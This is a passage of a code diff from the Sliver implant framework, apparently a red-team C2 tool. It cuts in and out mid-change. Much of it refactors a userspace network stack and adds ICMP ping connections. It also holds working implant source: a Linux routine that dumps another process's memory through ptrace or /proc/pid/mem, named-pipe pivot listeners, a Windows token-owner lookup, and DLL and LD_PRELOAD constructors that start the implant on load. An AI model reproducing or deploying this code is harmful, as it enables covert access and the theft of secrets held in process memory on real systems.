+	var protoNumber tcpip.NetworkProtocolNumber
+	if endpoint.Addr().Is4() {
+		protoNumber = ipv4.ProtocolNumber
 	} else {
-		return tcpip.FullAddress{
-			NIC:  1,
-			Addr: tcpip.Address(ip),
-			Port: uint16(port),
-		}, ipv6.ProtocolNumber
+		protoNumber = ipv6.ProtocolNumber
 	}
+	return tcpip.FullAddress{
+		NIC:  1,
+		Addr: tcpip.Address(endpoint.Addr().AsSlice()),
+		Port: endpoint.Port(),
+	}, protoNumber
+}
+
+func (net *Net) DialContextTCPAddrPort(ctx context.Context, addr netip.AddrPort) (*gonet.TCPConn, error) {
+	fa, pn := convertToFullAddr(addr)
+	return gonet.DialContextTCP(ctx, net.stack, fa, pn)
 }
 
 func (net *Net) DialContextTCP(ctx context.Context, addr *net.TCPAddr) (*gonet.TCPConn, error) {
 	if addr == nil {
-		panic("todo: deal with auto addr semantics for nil addr")
+		return net.DialContextTCPAddrPort(ctx, netip.AddrPort{})
 	}
-	fa, pn := convertToFullAddr(addr.IP, addr.Port)
-	return gonet.DialContextTCP(ctx, net.stack, fa, pn)
+	ip, _ := netip.AddrFromSlice(addr.IP)
+	return net.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(ip, uint16(addr.Port)))
+}
+
+func (net *Net) DialTCPAddrPort(addr netip.AddrPort) (*gonet.TCPConn, error) {
+	fa, pn := convertToFullAddr(addr)
+	return gonet.DialTCP(net.stack, fa, pn)
 }
 
 func (net *Net) DialTCP(addr *net.TCPAddr) (*gonet.TCPConn, error) {
 	if addr == nil {
-		panic("todo: deal with auto addr semantics for nil addr")
+		return net.DialTCPAddrPort(netip.AddrPort{})
 	}
-	fa, pn := convertToFullAddr(addr.IP, addr.Port)
-	return gonet.DialTCP(net.stack, fa, pn)
+	ip, _ := netip.AddrFromSlice(addr.IP)
+	return net.DialTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
+}
+
+func (net *Net) ListenTCPAddrPort(addr netip.AddrPort) (*gonet.TCPListener, error) {
+	fa, pn := convertToFullAddr(addr)
+	return gonet.ListenTCP(net.stack, fa, pn)
 }
 
 func (net *Net) ListenTCP(addr *net.TCPAddr) (*gonet.TCPListener, error) {
 	if addr == nil {
-		panic("todo: deal with auto addr semantics for nil addr")
+		return net.ListenTCPAddrPort(netip.AddrPort{})
 	}
-	fa, pn := convertToFullAddr(addr.IP, addr.Port)
-	return gonet.ListenTCP(net.stack, fa, pn)
+	ip, _ := netip.AddrFromSlice(addr.IP)
+	return net.ListenTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
 }
 
-func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
+func (net *Net) DialUDPAddrPort(laddr, raddr netip.AddrPort) (*gonet.UDPConn, error) {
 	var lfa, rfa *tcpip.FullAddress
 	var pn tcpip.NetworkProtocolNumber
-	if laddr != nil {
+	if laddr.IsValid() || laddr.Port() > 0 {
 		var addr tcpip.FullAddress
-		addr, pn = convertToFullAddr(laddr.IP, laddr.Port)
+		addr, pn = convertToFullAddr(laddr)
 		lfa = &addr
 	}
-	if raddr != nil {
+	if raddr.IsValid() || raddr.Port() > 0 {
 		var addr tcpip.FullAddress
-		addr, pn = convertToFullAddr(raddr.IP, raddr.Port)
+		addr, pn = convertToFullAddr(raddr)
 		rfa = &addr
 	}
 	return gonet.DialUDP(net.stack, lfa, rfa, pn)
 }
 
+func (net *Net) ListenUDPAddrPort(laddr netip.AddrPort) (*gonet.UDPConn, error) {
+	return net.DialUDPAddrPort(laddr, netip.AddrPort{})
+}
+
+func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
+	var la, ra netip.AddrPort
+	if laddr != nil {
+		ip, _ := netip.AddrFromSlice(laddr.IP)
+		la = netip.AddrPortFrom(ip, uint16(laddr.Port))
+	}
+	if raddr != nil {
+		ip, _ := netip.AddrFromSlice(raddr.IP)
+		ra = netip.AddrPortFrom(ip, uint16(raddr.Port))
+	}
+	return net.DialUDPAddrPort(la, ra)
+}
+
+func (net *Net) ListenUDP(laddr *net.UDPAddr) (*gonet.UDPConn, error) {
+	return net.DialUDP(laddr, nil)
+}
+
+type PingConn struct {
+	laddr    PingAddr
+	raddr    PingAddr
+	wq       waiter.Queue
+	ep       tcpip.Endpoint
+	deadline *time.Timer
+}
+
+type PingAddr struct{ addr netip.Addr }
+
+func (ia PingAddr) String() string {
+	return ia.addr.String()
+}
+
+func (ia PingAddr) Network() string {
+	if ia.addr.Is4() {
+		return "ping4"
+	} else if ia.addr.Is6() {
+		return "ping6"
+	}
+	return "ping"
+}
+
+func (ia PingAddr) Addr() netip.Addr {
+	return ia.addr
+}
+
+func PingAddrFromAddr(addr netip.Addr) *PingAddr {
+	return &PingAddr{addr}
+}
+
+func (net *Net) DialPingAddr(laddr, raddr netip.Addr) (*PingConn, error) {
+	if !laddr.IsValid() && !raddr.IsValid() {
+		return nil, errors.New("ping dial: invalid address")
+	}
+	v6 := laddr.Is6() || raddr.Is6()
+	bind := laddr.IsValid()
+	if !bind {
+		if v6 {
+			laddr = netip.IPv6Unspecified()
+		} else {
+			laddr = netip.IPv4Unspecified()
+		}
+	}
+
+	tn := icmp.ProtocolNumber4
+	pn := ipv4.ProtocolNumber
+	if v6 {
+		tn = icmp.ProtocolNumber6
+		pn = ipv6.ProtocolNumber
+	}
+
+	pc := &PingConn{
+		laddr:    PingAddr{laddr},
+		deadline: time.NewTimer(time.Hour << 10),
+	}
+	pc.deadline.Stop()
+
+	ep, tcpipErr := net.stack.NewEndpoint(tn, pn, &pc.wq)
+	if tcpipErr != nil {
+		return nil, fmt.Errorf("ping socket: endpoint: %s", tcpipErr)
+	}
+	pc.ep = ep
+
+	if bind {
+		fa, _ := convertToFullAddr(netip.AddrPortFrom(laddr, 0))
+		if tcpipErr = pc.ep.Bind(fa); tcpipErr != nil {
+			return nil, fmt.Errorf("ping bind: %s", tcpipErr)
+		}
+	}
+
+	if raddr.IsValid() {
+		pc.raddr = PingAddr{raddr}
+		fa, _ := convertToFullAddr(netip.AddrPortFrom(raddr, 0))
+		if tcpipErr = pc.ep.Connect(fa); tcpipErr != nil {
+			return nil, fmt.Errorf("ping connect: %s", tcpipErr)
+		}
+	}
+
+	return pc, nil
+}
+
+func (net *Net) ListenPingAddr(laddr netip.Addr) (*PingConn, error) {
+	return net.DialPingAddr(laddr, netip.Addr{})
+}
+
+func (net *Net) DialPing(laddr, raddr *PingAddr) (*PingConn, error) {
+	var la, ra netip.Addr
+	if laddr != nil {
+		la = laddr.addr
+	}
+	if raddr != nil {
+		ra = raddr.addr
+	}
+	return net.DialPingAddr(la, ra)
+}
+
+func (net *Net) ListenPing(laddr *PingAddr) (*PingConn, error) {
+	var la netip.Addr
+	if laddr != nil {
+		la = laddr.addr
+	}
+	return net.ListenPingAddr(la)
+}
+
+func (pc *PingConn) LocalAddr() net.Addr {
+	return pc.laddr
+}
+
+func (pc *PingConn) RemoteAddr() net.Addr {
+	return pc.raddr
+}
+
+func (pc *PingConn) Close() error {
+	pc.deadline.Reset(0)
+	pc.ep.Close()
+	return nil
+}
+
+func (pc *PingConn) SetWriteDeadline(t time.Time) error {
+	return errors.New("not implemented")
+}
+
+func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
+	var na netip.Addr
+	switch v := addr.(type) {
+	case *PingAddr:
+		na = v.addr
+	case *net.IPAddr:
+		na, _ = netip.AddrFromSlice(v.IP)
+	default:
+		return 0, fmt.Errorf("ping write: wrong net.Addr type")
+	}
+	if !((na.Is4() && pc.laddr.addr.Is4()) || (na.Is6() && pc.laddr.addr.Is6())) {
+		return 0, fmt.Errorf("ping write: mismatched protocols")
+	}
+
+	buf := buffer.NewViewFromBytes(p)
+	rdr := buf.Reader()
+	rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
+	// won't block, no deadlines
+	n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
+		To: &rfa,
+	})
+	if tcpipErr != nil {
+		return int(n64), fmt.Errorf("ping write: %s", tcpipErr)
+	}
+
+	return int(n64), nil
+}
+
+func (pc *PingConn) Write(p []byte) (n int, err error) {
+	return pc.WriteTo(p, &pc.raddr)
+}
+
+func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
+	e, notifyCh := waiter.NewChannelEntry(nil)
+	pc.wq.EventRegister(&e, waiter.EventIn)
+	defer pc.wq.EventUnregister(&e)
+
+	select {
+	case <-pc.deadline.C:
+		return 0, nil, os.ErrDeadlineExceeded
+	case <-notifyCh:
+	}
+
+	w := tcpip.SliceWriter(p)
+
+	res, tcpipErr := pc.ep.Read(&w, tcpip.ReadOptions{
+		NeedRemoteAddr: true,
+	})
+	if tcpipErr != nil {
+		return 0, nil, fmt.Errorf("ping read: %s", tcpipErr)
+	}
+
+	remoteAddr, _ := netip.AddrFromSlice([]byte(res.RemoteAddr.Addr))
+	return res.Count, &PingAddr{remoteAddr}, nil
+}
+
+func (pc *PingConn) Read(p []byte) (n int, err error) {
+	n, _, err = pc.ReadFrom(p)
+	return
+}
+
+func (pc *PingConn) SetDeadline(t time.Time) error {
+	// pc.SetWriteDeadline is unimplemented
+
+	return pc.SetReadDeadline(t)
+}
+
+func (pc *PingConn) SetReadDeadline(t time.Time) error {
+	pc.deadline.Reset(t.Sub(time.Now()))
+	return nil
+}
+
 var (
 	errNoSuchHost                   = errors.New("no such host")
 	errLameReferral                 = errors.New("lame referral")
@@ -426,7 +667,7 @@ func dnsStreamRoundTrip(c net.Conn, id uint16, query dnsmessage.Question, b []by
 	return p, h, nil
 }
 
-func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
+func (tnet *Net) exchange(ctx context.Context, server netip.Addr, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
 	q.Class = dnsmessage.ClassINET
 	id, udpReq, tcpReq, err := newRequest(q)
 	if err != nil {
@@ -440,16 +681,19 @@ func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Quest
 		var c net.Conn
 		var err error
 		if useUDP {
-			c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: server, Port: 53})
+			c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, netip.AddrPortFrom(server, 53))
 		} else {
-			c, err = tnet.DialContextTCP(ctx, &net.TCPAddr{IP: server, Port: 53})
+			c, err = tnet.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(server, 53))
 		}
 
 		if err != nil {
 			return dnsmessage.Parser{}, dnsmessage.Header{}, err
 		}
 		if d, ok := ctx.Deadline(); ok && !d.IsZero() {
-			c.SetDeadline(d)
+			err := c.SetDeadline(d)
+			if err != nil {
+				return dnsmessage.Parser{}, dnsmessage.Header{}, err
+			}
 		}
 		var p dnsmessage.Parser
 		var h dnsmessage.Header
@@ -593,8 +837,8 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 			zlen = zidx
 		}
 	}
-	if ip := net.ParseIP(host[:zlen]); ip != nil {
-		return []string{host[:zlen]}, nil
+	if ip, err := netip.ParseAddr(host[:zlen]); err == nil {
+		return []string{ip.String()}, nil
 	}
 
 	if !isDomainName(host) {
@@ -605,7 +849,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 		server string
 		error
 	}
-	var addrsV4, addrsV6 []net.IP
+	var addrsV4, addrsV6 []netip.Addr
 	lanes := 0
 	if tnet.hasV4 {
 		lanes++
@@ -660,7 +904,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 					}
 					break loop
 				}
-				addrsV4 = append(addrsV4, net.IP(a.A[:]))
+				addrsV4 = append(addrsV4, netip.AddrFrom4(a.A))
 
 			case dnsmessage.TypeAAAA:
 				aaaa, err := result.p.AAAAResource()
@@ -672,7 +916,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 					}
 					break loop
 				}
-				addrsV6 = append(addrsV6, net.IP(aaaa.AAAA[:]))
+				addrsV6 = append(addrsV6, netip.AddrFrom16(aaaa.AAAA))
 
 			default:
 				if err := result.p.SkipAnswer(); err != nil {
@@ -688,7 +932,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 		}
 	}
 	// We don't do RFC6724. Instead just put V6 addresess first if an IPv6 address is enabled
-	var addrs []net.IP
+	var addrs []netip.Addr
 	if tnet.hasV6 {
 		addrs = append(addrsV6, addrsV4...)
 	} else {
@@ -725,44 +969,48 @@ func partialDeadline(now, deadline time.Time, addrsRemaining int) (time.Time, er
 	return now.Add(timeout), nil
 }
 
+var protoSplitter = regexp.MustCompile(`^(tcp|udp|ping)(4|6)?$`)
+
 func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
 	if ctx == nil {
 		panic("nil context")
 	}
-	var acceptV4, acceptV6, useUDP bool
-	if len(network) == 3 {
+	var acceptV4, acceptV6 bool
+	matches := protoSplitter.FindStringSubmatch(network)
+	if matches == nil {
+		return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
+	} else if len(matches[2]) == 0 {
 		acceptV4 = true
 		acceptV6 = true
-	} else if len(network) == 4 {
-		acceptV4 = network[3] == '4'
-		acceptV6 = network[3] == '6'
+	} else {
+		acceptV4 = matches[2][0] == '4'
+		acceptV6 = !acceptV4
 	}
-	if !acceptV4 && !acceptV6 {
-		return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
-	}
-	if network[:3] == "udp" {
-		useUDP = true
-	} else if network[:3] != "tcp" {
-		return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
-	}
-	host, sport, err := net.SplitHostPort(address)
-	if err != nil {
-		return nil, &net.OpError{Op: "dial", Err: err}
-	}
-	port, err := strconv.Atoi(sport)
-	if err != nil || port < 0 || port > 65535 {
-		return nil, &net.OpError{Op: "dial", Err: errNumericPort}
+	var host string
+	var port int
+	if matches[1] == "ping" {
+		host = address
+	} else {
+		var sport string
+		var err error
+		host, sport, err = net.SplitHostPort(address)
+		if err != nil {
+			return nil, &net.OpError{Op: "dial", Err: err}
+		}
+		port, err = strconv.Atoi(sport)
+		if err != nil || port < 0 || port > 65535 {
+			return nil, &net.OpError{Op: "dial", Err: errNumericPort}
+		}
 	}
 	allAddr, err := tnet.LookupContextHost(ctx, host)
 	if err != nil {
 		return nil, &net.OpError{Op: "dial", Err: err}
 	}
-	var addrs []net.IP
+	var addrs []netip.AddrPort
 	for _, addr := range allAddr {
-		if strings.IndexByte(addr, ':') != -1 && acceptV6 {
-			addrs = append(addrs, net.ParseIP(addr))
-		} else if strings.IndexByte(addr, '.') != -1 && acceptV4 {
-			addrs = append(addrs, net.ParseIP(addr))
+		ip, err := netip.ParseAddr(addr)
+		if err == nil && ((ip.Is4() && acceptV4) || (ip.Is6() && acceptV6)) {
+			addrs = append(addrs, netip.AddrPortFrom(ip, uint16(port)))
 		}
 	}
 	if len(addrs) == 0 && len(allAddr) != 0 {
@@ -800,10 +1048,13 @@ func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.
 		}
 
 		var c net.Conn
-		if useUDP {
-			c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: addr, Port: port})
-		} else {
-			c, err = tnet.DialContextTCP(dialCtx, &net.TCPAddr{IP: addr, Port: port})
+		switch matches[1] {
+		case "tcp":
+			c, err = tnet.DialContextTCPAddrPort(dialCtx, addr)
+		case "udp":
+			c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, addr)
+		case "ping":
+			c, err = tnet.DialPingAddr(netip.Addr{}, addr.Addr())
 		}
 		if err == nil {
 			return c, nil

implant/sliver/pivots/named-pipe_windows.go

@@ -19,6 +19,7 @@ package pivots
 */
 
 import (
+	"strings"
 	"sync"
 	"time"
 
@@ -37,7 +38,7 @@ var (
 
 // CreateNamedPipePivotListener - Starts a named pipe listener
 func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
-	fullName := "\\\\.\\pipe\\" + address
+	fullName := "\\\\.\\pipe\\" + strings.TrimPrefix(address, "\\\\.\\pipe\\")
 	ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
 		//SecurityDescriptor: "",
 		RemoteClientMode: true,

implant/sliver/pivots/pivots.go

@@ -304,7 +304,7 @@ func (p *NetConnPivot) ToProtobuf() *pb.NetConnPivot {
 	}
 }
 
-// Start - Starts the TCP pivot connection handler
+// Start - Starts the pivot connection handler
 func (p *NetConnPivot) Start(pivots *sync.Map) {
 	defer func() {
 		p.conn.Close()

implant/sliver/priv/priv_windows.go

@@ -1,3 +1,4 @@
+//go:build windows
 // +build windows
 
 package priv
@@ -595,3 +596,29 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
 
 	return privInfo, integrity, processName, nil
 }
+
+// CurrentTokenOwner returns the current thread's token owner
+func CurrentTokenOwner() (string, error) {
+	currToken := CurrentToken
+	// when the windows.Handle is zero (no impersonation), future method calls
+	// on it result in the windows error INVALID_TOKEN_HANDLE, so we get the
+	// actual handle
+	if currToken == 0 {
+		currToken = windows.GetCurrentProcessToken()
+	}
+	return TokenOwner(currToken)
+}
+
+// TokenOwner will resolve the primary token or thread owner of the given
+// handle
+func TokenOwner(hToken windows.Token) (string, error) {
+	tokenUser, err := hToken.GetTokenUser()
+	if err != nil {
+		return "", err
+	}
+	user, domain, _, err := tokenUser.User.Sid.LookupAccount("")
+	if err != nil {
+		return "", err
+	}
+	return fmt.Sprintf(`%s\%s`, domain, user), err
+}

implant/sliver/procdump/dump_linux.go

@@ -2,9 +2,21 @@
 
 package procdump
 
+import (
+	"bufio"
+	"fmt"
+	"io"
+	"os"
+	"regexp"
+	"runtime"
+	"strconv"
+	"strings"
+	"syscall"
+)
+
 /*
 	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
+	Copyright (C) 2022 Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -20,6 +32,28 @@ package procdump
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
+// A struct to hold information about each region of memory
+type MemoryRegion struct {
+	// Start address of the region
+	start uint64
+
+	// End address of the region
+	end uint64
+
+	/*
+		Flag that indicates if this region is mapped to a file
+		on disk. Currently, we are only dumping regions that
+		are not backed by a file on disk.
+	*/
+	isFile bool
+	
+	// File name - only populated if isFile is true
+	fileName string
+}
+
+// A regex for each line of /proc/<PID>/maps
+var mapLineModel = regexp.MustCompile(`^(\w+)-(\w+)\s+(\S+)\s+\S+\s+(\S+)\s+\d+\s*(\S+)?$`)
+
 // LinuxDump - Structure implementing the ProcessDump
 // interface for linux processes
 type LinuxDump struct {
@@ -31,7 +65,293 @@ func (d *LinuxDump) Data() []byte {
 	return d.data
 }
 
+/*
+	Map out the application's memory using /proc/<pid>/maps
+
+	Map format:
+	    (1)          (2)      (3)    (4)     (5)   (6)                             (7)
+	7f926c0b0000-7f926c0d5000 r--s 00000000 08:03 4327445                    /usr/share/mime/mime.cache
+
+	1: Start address of the memory region
+	2: End address of the memory region
+	3: Permissions (rwx) and p/s (p=private, s=shared)
+	4: Offset (offset in bytes into the file, field 7): This is only relevant to files
+	5: Device ID (the major:minor device ID of the disk that contains the file) - 00:00 for non-file mappings
+	6: inode on the device
+	7: Filename (empty if the mapping is not a file)
+*/
+
+func parseMap(mapLine string) *MemoryRegion {
+	regionInformation := mapLineModel.FindStringSubmatch(mapLine)
+	
+	if regionInformation == nil {
+		// No match
+		return nil
+	}
+
+	if strings.HasPrefix(regionInformation[3], "r") {
+		// This section of memory is readable, and we will return it
+		
+		/*
+			There is a bug in how ptrace reads the vvar region of memory,
+			see https://lkml.iu.edu/hypermail/linux/kernel/1503.1/03733.html
+
+			The vvar region is for shared kernel variables
+
+			If this is vvar, then skip it so that we do not run into errors
+			due to it later
+
+			In testing, other regions reserved by the kernel proved problematic,
+			namely vdso and vsyscall. Those regions likely do not contain any
+			sensitive information, so they can be skipped.
+		*/
+		if regionInformation[5] == "[vvar]" || regionInformation[5] == "[vdso]" || regionInformation[5] == "[vsyscall]" {
+			return nil
+		}
+
+		memRegion := MemoryRegion{}
+		regionStart, err := strconv.ParseUint(regionInformation[1], 16, 64)
+		if err != nil {
+			// Something is wrong with this region, discard this record
+			return nil
+		}
+		memRegion.start = regionStart
+
+		regionEnd, err := strconv.ParseUint(regionInformation[2], 16, 64)
+		if err != nil {
+			// Something is wrong with this region, discard this record
+			return nil
+		}
+		
+		memRegion.end = regionEnd
+
+		if regionInformation[4] == "00:00" {
+			// Then this is not a file
+			memRegion.isFile = false
+			memRegion.fileName = ""
+		} else {
+			memRegion.isFile = true
+			memRegion.fileName = regionInformation[5]
+		}
+		return &memRegion
+	}
+	
+	return nil
+}
+
+/* 
+	Create a map of the process' memory from /proc/<PID>/maps
+	Return: a slice of MemoryRegions, number of bytes represented by the map
+*/
+func createMemoryMap(pid int32) ([]*MemoryRegion, uint64, error) {
+	maps, err := os.Open("/proc/" + strconv.FormatInt(int64(pid), 10) + "/maps")
+
+	if err != nil {
+		// Could not open the map
+		return nil, 0, fmt.Errorf("{{if .Config.Debug}}Could not open memory map for the process{{end}}")
+	}
+
+	defer maps.Close()
+
+	var memorySize uint64 = 0
+	var completeMemoryMap []*MemoryRegion
+
+	buffer := bufio.NewReader(maps)
+	line, err := buffer.ReadString('\n')
+
+	// Keep reading until we hit an error
+	for err == nil {
+		memoryMapInfo := parseMap(strings.TrimSpace(line))
+		// Only concerned about regions not backed by a file on disk
+		if memoryMapInfo != nil && !memoryMapInfo.isFile {
+			completeMemoryMap = append(completeMemoryMap, memoryMapInfo)
+			memorySize += memoryMapInfo.end - memoryMapInfo.start
+		}
+		// Read the next line
+		line, err = buffer.ReadString('\n')
+	}
+
+	// End of file is OK - anything else is not.
+	if err != nil && err != io.EOF {
+		return nil, 0, fmt.Errorf("{{if .Config.Debug}}Error encountered reading through memory maps{{end}}")
+	}
+
+	return completeMemoryMap, memorySize, nil
+}
+
+func checkPermissions() (bool, error) {
+	/*
+		Check to see if we are root.
+		According to the proc man page, we need root unless the process has the dumpable flag.
+		Unless it becomes necessary to check for the dumpable flag, we will keep things simple
+		and require root.
+	*/
+	if currentUID := os.Getuid(); currentUID != 0 {
+		return false, fmt.Errorf("{{if .Config.Debug}}Must be root to read memory from another process{{end}}")
+	}
+
+	/*
+		Check to make sure /proc/sys/kernel/yama/ptrace_scope is not 3
+		(dumping process memory does not work with a ptrace_scope value of 3)
+
+		Yama was merged in kernel 3.4
+
+		If reading the value fails, it might be because it is not there. Should not be a permissions
+		issue because if we make it here, we are root. If it is not there, this might be a super old kernel.
+	*/
+	ptrace_scope, err := os.ReadFile("/proc/sys/kernel/yama/ptrace_scope")
+	if err != nil {
+		// Even if we get an error here, we should try to read process memory anyway.
+		return true, nil
+	}
+
+	if strings.TrimSpace(string(ptrace_scope)) == "3" {
+		return false, fmt.Errorf("{{if .Config.Debug}}ptrace_scope is too restrictive{{end}}")
+	}
+	
+	return true, nil
+}
+
+func isOldKernelVersion() bool {
+	kernelVersionRegex := regexp.MustCompile(`^(\d+)\.(\d+).*$`)
+
+	/*
+		/proc/sys/kernel/osrelease has the version number of the kernel
+		If it is less than 3.3, you can only read memory from the process by attaching
+		to it with ptrace
+	*/
+	kernelVersion, err := os.ReadFile("/proc/sys/kernel/osrelease")
+	if err != nil {
+		/*
+			If this does not exist or is not readable, use the ptrace method
+			since that should work for all kernels (assuming we have the
+			correct permissions which we will check)
+		*/
+		return true
+	}
+
+	majorMinorKVer := kernelVersionRegex.FindStringSubmatch(strings.TrimSpace(string(kernelVersion)))
+
+	if majorMinorKVer == nil {
+		// The kernel version did not match the expected format, use the ptrace method
+		return true
+	}
+
+	majorKVer, err := strconv.Atoi(majorMinorKVer[1])
+	if err != nil {
+		// Unable to determine kernel version so use the ptrace method to be safe
+		return true
+	}
+	
+	if majorKVer > 3 {
+		// We can read directly from /proc/pid/mem on 4.x+ kernels
+		return false
+	} else if majorKVer == 3 {
+		minorKVer, err := strconv.Atoi(majorMinorKVer[2])
+		if err != nil {
+			// Unable to determine the minor kernel version, so use the ptrace method to be safe
+			return true
+		}
+
+		if minorKVer >= 3 {
+			// We can read directly from /proc/pid/mem starting with kernel 3.3
+			return false
+		} else {
+			return true
+		}
+	} else {
+		// If the kernel version is 2.x or lower, we have to use ptrace
+		return true
+	}
+}
+
 func dumpProcess(pid int32) (ProcessDump, error) {
 	res := &LinuxDump{}
+
+	usePTrace := isOldKernelVersion()
+
+	permissionsOK, err := checkPermissions()
+	
+	if !permissionsOK || err != nil {
+		return res, err
+	}
+
+	processRegions, dumpSize, err := createMemoryMap(pid)
+	if err != nil {
+		return res, err
+	}
+
+	// Create a buffer to put the memory
+	res.data = make([]byte, dumpSize)
+
+	currentDumpOffset := 0
+
+	if usePTrace {
+		// Attach to the process using ptrace
+		proc, err := os.FindProcess(int(pid))
+		if err != nil {
+			// Then the process does not exist
+			return res, fmt.Errorf("{{if .Config.Debug}}Could not attach to the process, process does not exist{{end}}")
+		}
+		runtime.LockOSThread()
+		defer runtime.UnlockOSThread()
+
+		err = syscall.PtraceAttach(int(pid))
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Could not attach to the process{{end}}")
+		}
+
+		_, err = proc.Wait()
+		
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Failure in waiting for the process after attaching{{end}}")
+		}
+
+		// Read the memory, region by region
+		for _, region := range(processRegions) {
+			numberOfBytes := int(region.end - region.start)
+			bytesRead, err := syscall.PtracePeekData(int(pid), uintptr(region.start), res.data[currentDumpOffset:currentDumpOffset + numberOfBytes])
+			if err != nil {
+				return res, fmt.Errorf("{{if .Config.Debug}}Error reading process memory{{end}}")
+			}
+			currentDumpOffset += bytesRead
+		}
+		
+		// Do not forget to detach when we are done
+		// Send a continue signal so that the process resumes (attaching with ptrace pauses the process)
+		err = syscall.Kill(int(pid), syscall.SIGCONT)
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Sending continue signal failed - the process is likely hung. Recommend killing it.{{end}}")
+		}
+
+		err = syscall.PtraceDetach(int(pid))
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Could not detach from the process - the process is likely hung. Recommend killing it.{{end}}")
+		}
+		
+	} else {
+		// Open the memory "file"
+		processMemory, err := os.Open("/proc/" + strconv.FormatInt(int64(pid), 10) + "/mem")
+
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Could not open process memory{{end}}")
+		}
+
+		defer processMemory.Close()
+
+		for _, region := range(processRegions) {
+			/*
+				Figure out the size of the memory region to read so we know how big of
+				a slice to cut from the buffer
+			*/
+			numberOfBytes := int(region.end - region.start)
+			bytesRead, err := processMemory.ReadAt(res.data[currentDumpOffset:currentDumpOffset + numberOfBytes], int64(region.start))
+			if err != nil && err != io.EOF {
+				return res, fmt.Errorf("{{if .Config.Debug}}Error reading process memory{{end}}")
+			}
+			currentDumpOffset += bytesRead
+		}
+	}
+
 	return res, nil
 }

implant/sliver/sliver.c

@@ -1,6 +1,7 @@
 #include "sliver.h"
 
 #ifdef __WIN32
+#include <windows.h>
 
 DWORD WINAPI Start()
 {
@@ -18,13 +19,13 @@ BOOL WINAPI DllMain(
     case DLL_PROCESS_ATTACH:
         // Initialize once for each new process.
         // Return FALSE to fail DLL load.
-    {
-        // {{if .Config.IsSharedLib}}
-        HANDLE hThread = CreateThread(NULL, 0, Start, NULL, 0, NULL);
-        // CreateThread() because otherwise DllMain() is highly likely to deadlock.
-        // {{end}}
-    }
-    break;
+        {
+            // {{if .Config.RunAtLoad}}
+            // CreateThread() because otherwise DllMain() is highly likely to deadlock.
+            HANDLE hThread = CreateThread(NULL, 0, Start, NULL, 0, NULL);
+            // {{end}}
+        }
+        break;
     case DLL_PROCESS_DETACH:
         // Perform any necessary cleanup.
         break;
@@ -46,7 +47,9 @@ static void init(int argc, char **argv, char **envp)
 {
     unsetenv("LD_PRELOAD");
     unsetenv("LD_PARAMS");
+    // {{if .Config.RunAtLoad}}
     StartW();
+    // {{end}}
 }
 __attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
 #elif __APPLE__
@@ -57,7 +60,9 @@ __attribute__((constructor)) static void init(int argc, char **argv, char **envp
 {
     unsetenv("DYLD_INSERT_LIBRARIES");
     unsetenv("LD_PARAMS");
+    // {{if .Config.RunAtLoad}}
     StartW();
+    // {{end}}
 }
 
 #endif

implant/sliver/sliver.go

@@ -82,10 +82,10 @@ func init() {
 	buf := make([]byte, 8)
 	n, err := rand.Read(buf)
 	if err != nil || n != len(buf) {
-		binary.LittleEndian.PutUint64(buf, uint64(time.Now().Unix()))
+		insecureRand.Seed(time.Now().Unix())
+	} else {
+		insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
 	}
-	insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
-
 	id, err := uuid.NewV4()
 	if err != nil {
 		buf := make([]byte, 16) // NewV4 fails if secure rand fails
@@ -105,25 +105,11 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
 	for {
 		select {
 		default:
-			abort := make(chan struct{})
-			connections := transports.StartConnectionLoop(c2Servers, abort)
-			for connection := range connections {
-				if connection == nil {
-					break
-				}
-				err := sessionMainLoop(connection)
-				if err != nil {
-					connectionErrors++
-					if transports.GetMaxConnectionErrors() < connectionErrors {
-						return
-					}
-				}
-				reconnect := transports.GetReconnectInterval()
-				// {{if .Config.Debug}}
-				log.Printf("Reconnect sleep: %s", reconnect)
-				// {{end}}
